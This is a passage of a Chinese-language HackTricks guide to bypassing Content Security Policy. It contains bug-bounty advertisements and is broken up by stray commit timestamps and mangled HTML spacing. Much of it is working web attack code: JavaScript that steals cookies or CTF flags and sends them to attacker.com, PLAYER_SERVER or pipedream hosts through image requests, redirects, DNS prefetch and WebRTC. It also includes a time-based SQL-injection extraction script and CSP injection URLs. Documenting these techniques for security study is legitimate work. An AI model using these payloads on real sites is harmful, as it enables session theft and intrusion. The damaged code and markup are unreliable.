然而,最终的`http://localhost:5555/301`将在服务器端**重定向到`https://www.google.com/complete/search?client=chrome& q=123& jsonp=alert(1)//`**。由于这是一个重定向,**路径不被考虑**,因此**脚本可以被加载**,从而绕过路径限制。
通过这种重定向,即使完全指定了路径,仍然会被绕过。
因此, 最好的解决方案是确保网站没有任何开放的重定向漏洞, 并且CSP规则中没有可以被利用的域名。
2023-08-03 19:12:22 +00:00
### 使用悬挂标记绕过CSP
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
请阅读[此处的方法](../dangling-markup-html-scriptless-injection/)。
2020-07-15 15:43:14 +00:00
2023-11-03 13:40:31 +00:00
### 'unsafe-inline'; img-src \*; 通过XSS绕过
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
default-src 'self' 'unsafe-inline'; img-src *;
```
2023-08-09 17:14:49 +00:00
`'unsafe-inline'` 表示可以在代码中执行任何脚本( XSS 可以执行代码),`img-src *` 表示可以在网页中使用来自任何资源的任何图像。
2020-07-15 15:43:14 +00:00
2023-09-18 16:55:34 +00:00
您可以通过图像将数据泄露来绕过此 CSP( 在此情况下, XSS 滥用了 CSRF, 其中机器人可以访问的页面包含 SQL 注入,并通过图像提取标志):
2020-07-15 15:43:14 +00:00
```javascript
< script > fetch ( 'http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23' ) . then ( _ => _ . text ( ) ) . then ( _ => new Image ( ) . src = 'http://PLAYER_SERVER/?' + _ ) < / script >
```
2023-08-03 19:12:22 +00:00
从:[https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
您还可以滥用此配置来**加载插入图像中的JavaScript代码**。例如, 如果页面允许从Twitter加载图像, 您可以**制作**一个**特殊的图像**,将其**上传**到Twitter, 并滥用“**unsafe-inline**”来执行JS代码( 作为常规的XSS) , 该代码将**加载**图像,从中**提取**JS并**执行**它:[https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 使用Service Workers
2022-06-28 23:06:59 +00:00
2023-08-03 19:12:22 +00:00
Service Workers的**`importScripts`**函数不受CSP限制:
2022-12-20 11:25:07 +00:00
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %}
[abusing-service-workers.md ](../xss-cross-site-scripting/abusing-service-workers.md )
{% endcontent-ref %}
2023-08-03 19:12:22 +00:00
### 策略注入
2023-01-04 12:21:48 +00:00
2023-08-03 19:12:22 +00:00
**研究:**[**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
2023-01-04 12:21:48 +00:00
#### Chrome
2023-08-09 17:14:49 +00:00
如果您发送的**参数**被**粘贴到**策略的**声明**中,那么您可以以某种方式**更改**策略,使其变得**无效**。您可以使用以下任何一种绕过方法来**允许脚本 'unsafe-inline'**:
2023-01-04 12:21:48 +00:00
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
2023-08-03 19:12:22 +00:00
因为这个指令会**覆盖现有的script-src指令**。\
你可以在这里找到一个例子:[http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
2023-01-04 12:21:48 +00:00
#### Edge
2023-08-09 17:14:49 +00:00
在Edge中, 这更简单。如果你可以在CSP中添加这个: **`;_`**, **Edge**会**丢弃**整个**策略**。\
2023-08-03 19:12:22 +00:00
例子:[http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](http://portswigger-labs.net/edge\_csp\_injection\_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert\(1\)%3C/script%3E)
2023-01-04 12:21:48 +00:00
2023-08-03 19:12:22 +00:00
### img-src \*; 通过XSS( iframe) 进行时间攻击
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
注意缺少指令`'unsafe-inline'`\
2023-08-29 19:09:12 +00:00
这次你可以通过**XSS**使受害者在**你的控制下**加载一个页面,使用`< iframe ` 。 这次你将让受害者访问你想要提取信息 ( * * CSRF * * ) 的页面 。 你无法访问页面的内容 , 但如果你能以某种方式 * * 控制页面加载所需的时间 * * , 你就可以提取所需的信息 。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这次将提取一个**标志**, 每当通过SQLi**正确猜测一个字符**时,由于休眠函数,**响应时间**会变长。然后,你将能够提取标志:
2020-07-15 15:43:14 +00:00
```javascript
< iframe name = f id = g > < / iframe > // The bot will load an URL with the payload
< script >
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
2023-08-03 19:12:22 +00:00
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23` ;
2020-07-15 15:43:14 +00:00
}
function gen2(x) {
2023-08-03 19:12:22 +00:00
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23` ;
2020-07-15 15:43:14 +00:00
}
2023-08-03 19:12:22 +00:00
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
2020-07-15 15:43:14 +00:00
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
2023-08-03 19:12:22 +00:00
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i< alphabet.length ; i + + ) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
2020-07-15 15:43:14 +00:00
}
run();
< / script >
```
2023-08-03 19:12:22 +00:00
### 通过书签工具
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这种攻击需要一些社交工程,攻击者会**说服用户将链接拖放到浏览器的书签工具上**。这个书签工具会包含**恶意的 JavaScript 代码**,当被拖放或点击时,会在当前网页窗口的上下文中执行,**绕过 CSP 并允许窃取敏感信息**,如 cookies 或令牌。
2023-06-26 10:50:26 +00:00
2023-08-09 17:14:49 +00:00
了解更多信息,请[**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
2023-06-26 10:50:26 +00:00
2023-09-18 16:55:34 +00:00
### 通过限制 CSP 绕过
2023-06-26 10:50:26 +00:00
2023-08-03 19:12:22 +00:00
在[**这个 CTF 解答**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)中,通过在允许的 iframe 中注入一个更严格的 CSP, 禁止加载特定的 JS 文件,然后通过**原型污染**或**DOM 篡改**来滥用不同的脚本来加载任意脚本,从而绕过了 CSP。
2023-08-02 15:09:22 +00:00
2023-08-03 19:12:22 +00:00
您可以使用**`csp`**属性**限制 iframe 的 CSP**:
2023-08-02 15:09:22 +00:00
{% code overflow="wrap" %}
```html
< iframe src = "https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp = "script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'" > < / iframe >
```
{% endcode %}
2023-08-03 19:12:22 +00:00
在[**这个CTF解答**](https://github.com/aszx87410/ctf-writeups/issues/48)中,通过**HTML注入**可以更加**限制**CSP, 从而禁用了防止CSTI的脚本, 因此**漏洞变得可利用**。\
可以使用**HTML元标签**使CSP更加严格, 并通过**删除**允许其**nonce**的**入口**和**通过sha启用特定的内联脚本**来禁用内联脚本:
2023-08-02 15:09:22 +00:00
```html
< meta http-equiv = "Content-Security-Policy" content = "script-src ' self '
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
```
2023-08-09 17:14:49 +00:00
### 使用 Content-Security-Policy-Report-Only 进行 JS 数据泄露
2023-08-03 19:12:22 +00:00
2023-11-03 13:40:31 +00:00
如果你能够让服务器响应头中的 ** `Content-Security-Policy-Report-Only` ** 的值由你控制(可能是因为 CRLF 漏洞),你可以让它指向你的服务器,并且将你想要泄露的 JS 内容用 ** `<script>` ** 标签包裹起来。由于 CSP 很可能不允许使用 `unsafe-inline` ,这将触发 CSP 错误,并且包含敏感信息的脚本的一部分将从 `Content-Security-Policy-Report-Only` 发送到服务器。
2023-08-03 19:12:22 +00:00
2023-11-03 13:40:31 +00:00
你可以参考[**这个 CTF 解题报告**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)来了解一个示例。
2023-08-03 19:12:22 +00:00
2023-08-09 17:14:49 +00:00
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
2020-09-09 09:16:35 +00:00
```javascript
document.querySelector('DIV').innerHTML="< iframe src = 'javascript:var s = document.createElement( \"script \");s.src = \"https://pastebin.com/raw/dw5cWGK6 \";document.body.appendChild(s);' ></ iframe > ";
```
2023-08-09 17:14:49 +00:00
### 泄露信息的CSP + iframe
2020-09-09 09:16:35 +00:00
2023-08-09 17:14:49 +00:00
想象一种情况, 一个页面根据用户不同, 将重定向到一个带有秘密的不同页面。例如, 用户admin访问redirectme.domain1.com会被重定向到adminsecret321.domain2.com, 你可以对admin进行XSS攻击。同时, 被重定向的页面不被安全策略允许, 但是进行重定向的页面是允许的。
2021-07-19 19:50:23 +00:00
2023-08-03 19:12:22 +00:00
你可以通过以下方式泄露admin被重定向的域名:
2021-07-19 19:50:23 +00:00
2023-08-09 17:14:49 +00:00
* 通过CSP违规
* 通过CSP规则
2021-07-19 19:50:23 +00:00
2023-08-24 09:57:53 +00:00
CSP违规是一种即时泄露。只需要加载一个指向`https://redirectme.domain1.com`的iframe, 并监听`securitypolicyviolation`事件,该事件包含`blockedURI`属性, 其中包含被阻止的URI的域名。这是因为`https://redirectme.domain1.com`( CSP允许) 重定向到`https://adminsecret321.domain2.com`( CSP阻止) 。这利用了CSP处理iframes的未定义行为。Chrome和Firefox在这方面的行为不同。
2021-07-19 19:50:23 +00:00
2023-11-03 13:40:31 +00:00
当你知道可能组成秘密子域名的字符时, 你还可以使用二分搜索, 并检查CSP何时阻止资源何时不阻止, 从而在CSP中创建不同的禁止域( 在这种情况下, 秘密可以以doc-X-XXXX.secdrivencontent.dev的形式存在) 。
2021-07-19 19:50:23 +00:00
```
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
2023-11-03 13:40:31 +00:00
从[**这里**](https://ctftime.org/writeup/29310)获取的技巧。
2021-07-19 19:50:23 +00:00
2023-07-31 15:59:11 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2023-08-03 19:12:22 +00:00
**HackenProof是所有加密漏洞赏金的家园。**
2022-10-27 23:22:18 +00:00
2023-08-03 19:12:22 +00:00
**即时获得奖励**\
2023-08-09 17:14:49 +00:00
只有在客户存入奖励预算后, HackenProof才会启动赏金。在漏洞验证后, 您将获得奖励。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网! 在其兴起的时代掌握web3安全。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**成为web3黑客传奇**\
2023-11-03 13:40:31 +00:00
每次验证的漏洞都会获得声誉积分,并登上每周排行榜的榜首。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
[**在HackenProof上注册** ](https://hackenproof.com/register )开始从您的黑客攻击中获利!
2023-07-14 15:03:41 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-10-27 23:22:18 +00:00
2023-08-03 19:12:22 +00:00
## 绕过CSP的不安全技术
2022-06-28 23:51:00 +00:00
2023-08-03 19:12:22 +00:00
### PHP响应缓冲区超载
2022-06-28 23:51:00 +00:00
2023-08-03 19:12:22 +00:00
PHP默认情况下会将响应缓冲区设置为4096字节。因此, 如果PHP显示警告, 通过在警告中提供足够的数据, 响应将在CSP头之前发送, 导致头被忽略。\
然后, 该技术基本上是通过使用警告填充响应缓冲区, 以便不发送CSP头。
2022-06-28 23:51:00 +00:00
2023-08-29 19:09:12 +00:00
从[**这篇文章**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)中得到的思路。
2022-06-28 23:51:00 +00:00
2023-08-03 19:12:22 +00:00
### 重写错误页面
2022-06-28 23:51:00 +00:00
2023-11-03 13:40:31 +00:00
从[**这篇文章**](https://blog.ssrf.kr/69)中可以看出, 通过加载一个错误页面( 可能没有CSP) 并重写其内容, 可以绕过CSP保护。
2022-06-28 23:51:00 +00:00
```javascript
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
2023-08-03 19:12:22 +00:00
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">` ;
2022-06-28 23:51:00 +00:00
}, 1000);
```
### SOME + 'self' + wordpress
2023-11-03 13:40:31 +00:00
SOME是一种滥用页面端点中的XSS( 或高度受限的XSS) 的技术, 以滥用同一源的其他端点。这是通过从攻击者页面加载易受攻击的端点, 然后将攻击者页面刷新到要滥用的同一源的真实端点来实现的。这样, 易受攻击的端点可以使用负载中的`opener`对象来访问要滥用的真实端点的DOM。有关更多信息, 请查看:
2022-06-28 23:51:00 +00:00
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md ](../xss-cross-site-scripting/some-same-origin-method-execution.md )
{% endcontent-ref %}
2023-08-09 17:14:49 +00:00
此外,**wordpress**在`/wp-json/wp/v2/users/1?_jsonp=data`中有一个**JSONP**端点,将在输出中**反射**发送的**数据**(仅限字母、数字和点)。
2022-06-28 23:51:00 +00:00
2023-11-03 13:40:31 +00:00
攻击者可以滥用该端点对WordPress进行SOME攻击, 并将其嵌入`< script s ` rc = `/wp-json/wp/v2/users/1?_jsonp=some_attack > < / script > `中,请注意,此**脚本**将被**加载**,因为它被'`self`'允许。此外, 由于安装了WordPress, 攻击者可能通过**绕过CSP**的易受攻击的**回调**端点来滥用SOME攻击, 以为用户提供更多权限, 安装新插件等。有关如何执行此攻击的更多信息, 请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
2022-06-28 23:51:00 +00:00
2023-08-03 19:12:22 +00:00
## CSP信息泄露绕过
2022-04-20 21:55:42 +00:00
2023-08-09 17:14:49 +00:00
如果存在严格的CSP, 不允许您与外部服务器进行交互, 您始终可以执行一些操作来泄露信息。
2022-04-20 21:55:42 +00:00
2022-06-23 12:52:13 +00:00
### Location
2022-04-20 21:55:42 +00:00
2023-08-03 19:12:22 +00:00
您可以更新位置以将秘密信息发送到攻击者的服务器:
2022-04-20 21:55:42 +00:00
```javascript
2023-08-03 19:12:22 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
document.location = "https://attacker.com/?" + sessionid;
```
2023-08-03 19:12:22 +00:00
### Meta标签
2022-04-20 21:55:42 +00:00
2023-08-03 19:12:22 +00:00
您可以通过注入一个meta标签来进行重定向( 这只是一个重定向, 不会泄露内容)
2022-04-28 13:04:05 +00:00
```html
< meta http-equiv = "refresh" content = "1; http://attacker.com" >
```
2023-11-03 13:40:31 +00:00
### DNS Prefetch
2022-04-20 21:55:42 +00:00
2023-11-03 13:40:31 +00:00
为了加快页面加载速度,浏览器会预先解析主机名为 IP 地址并将其缓存以供后续使用。\
您可以使用以下代码指示浏览器预先解析主机名:`< link reol = "dns-prefetch" href = "something.com" > `
2022-04-20 21:55:42 +00:00
2023-11-03 13:40:31 +00:00
您可以利用这种行为通过 DNS 请求**泄露敏感信息**:
2022-04-20 21:55:42 +00:00
```javascript
2023-08-03 19:12:22 +00:00
var sessionid = document.cookie.split('=')[1]+".";
2022-04-20 21:55:42 +00:00
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "< link rel = \"dns-prefetch \" href = \"//" + sessionid + " attacker . ch \"> ";
```
2023-08-03 19:12:22 +00:00
另一种方法:
2022-04-20 21:55:42 +00:00
```javascript
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
```
2023-09-18 16:55:34 +00:00
为了避免这种情况发生, 服务器可以发送以下HTTP头部:
2022-04-20 21:55:42 +00:00
```
X-DNS-Prefetch-Control: off
```
{% hint style="info" %}
2023-11-03 13:40:31 +00:00
显然,这种技术在无头浏览器(机器人)中不起作用。
2022-04-20 21:55:42 +00:00
{% endhint %}
2022-06-23 12:52:13 +00:00
### WebRTC
2022-04-20 21:55:42 +00:00
2023-08-03 19:12:22 +00:00
在一些页面上,你可以看到**WebRTC不检查CSP的`connect-src`策略**。
2023-08-29 19:09:12 +00:00
2023-11-03 13:40:31 +00:00
实际上, 你可以使用_DNS请求_来泄露信息。查看以下代码:
2022-04-20 21:55:42 +00:00
```javascript
2023-08-29 19:09:12 +00:00
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
2022-04-20 21:55:42 +00:00
```
2023-11-03 13:40:31 +00:00
另一个选项:
```javascript
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
2023-08-03 19:12:22 +00:00
## 在线检查CSP策略
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
* [https://csp-evaluator.withgoogle.com/ ](https://csp-evaluator.withgoogle.com )
2020-07-15 15:43:14 +00:00
* [https://cspvalidator.org/ ](https://cspvalidator.org/#url=https://cspvalidator.org/ )
2023-08-03 19:12:22 +00:00
## 自动创建CSP
2020-07-15 15:43:14 +00:00
[https://csper.io/docs/generating-content-security-policy ](https://csper.io/docs/generating-content-security-policy )
2023-08-03 19:12:22 +00:00
## 参考资料
2020-07-15 15:43:14 +00:00
2022-10-27 23:22:18 +00:00
* [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/ ](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/ )
* [https://lcamtuf.coredump.cx/postxss/ ](https://lcamtuf.coredump.cx/postxss/ )
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d ](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d )
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme ](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme )
2022-12-03 17:35:56 +00:00
* [https://www.youtube.com/watch?v=MCyPuOWs3dg ](https://www.youtube.com/watch?v=MCyPuOWs3dg )
2023-11-03 13:40:31 +00:00
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/ ](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/ )
2022-10-27 23:22:18 +00:00
2020-07-15 15:43:14 +00:00
2023-07-31 15:59:11 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-14 15:03:41 +00:00
2023-08-03 19:12:22 +00:00
**HackenProof是所有加密漏洞赏金的家园。**
2023-07-14 15:03:41 +00:00
2023-08-03 19:12:22 +00:00
**即时获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后, 您将获得奖励。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**在Web3渗透测试中积累经验**\
2023-11-03 13:40:31 +00:00
区块链协议和智能合约是新的互联网! 掌握Web3安全的崛起之日。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**成为Web3黑客传奇**\
2023-11-03 13:40:31 +00:00
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
[**在HackenProof上注册** ](https://hackenproof.com/register )开始从您的黑客行动中获利!
2023-02-27 09:28:45 +00:00
2023-07-14 15:03:41 +00:00
{% embed url="https://hackenproof.com/register" %}
2020-07-15 15:43:14 +00:00
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-11-03 13:40:31 +00:00
* 您在**网络安全公司**工作吗? 您想在HackTricks中看到您的**公司广告**吗? 或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
2023-08-03 19:12:22 +00:00
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享您的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >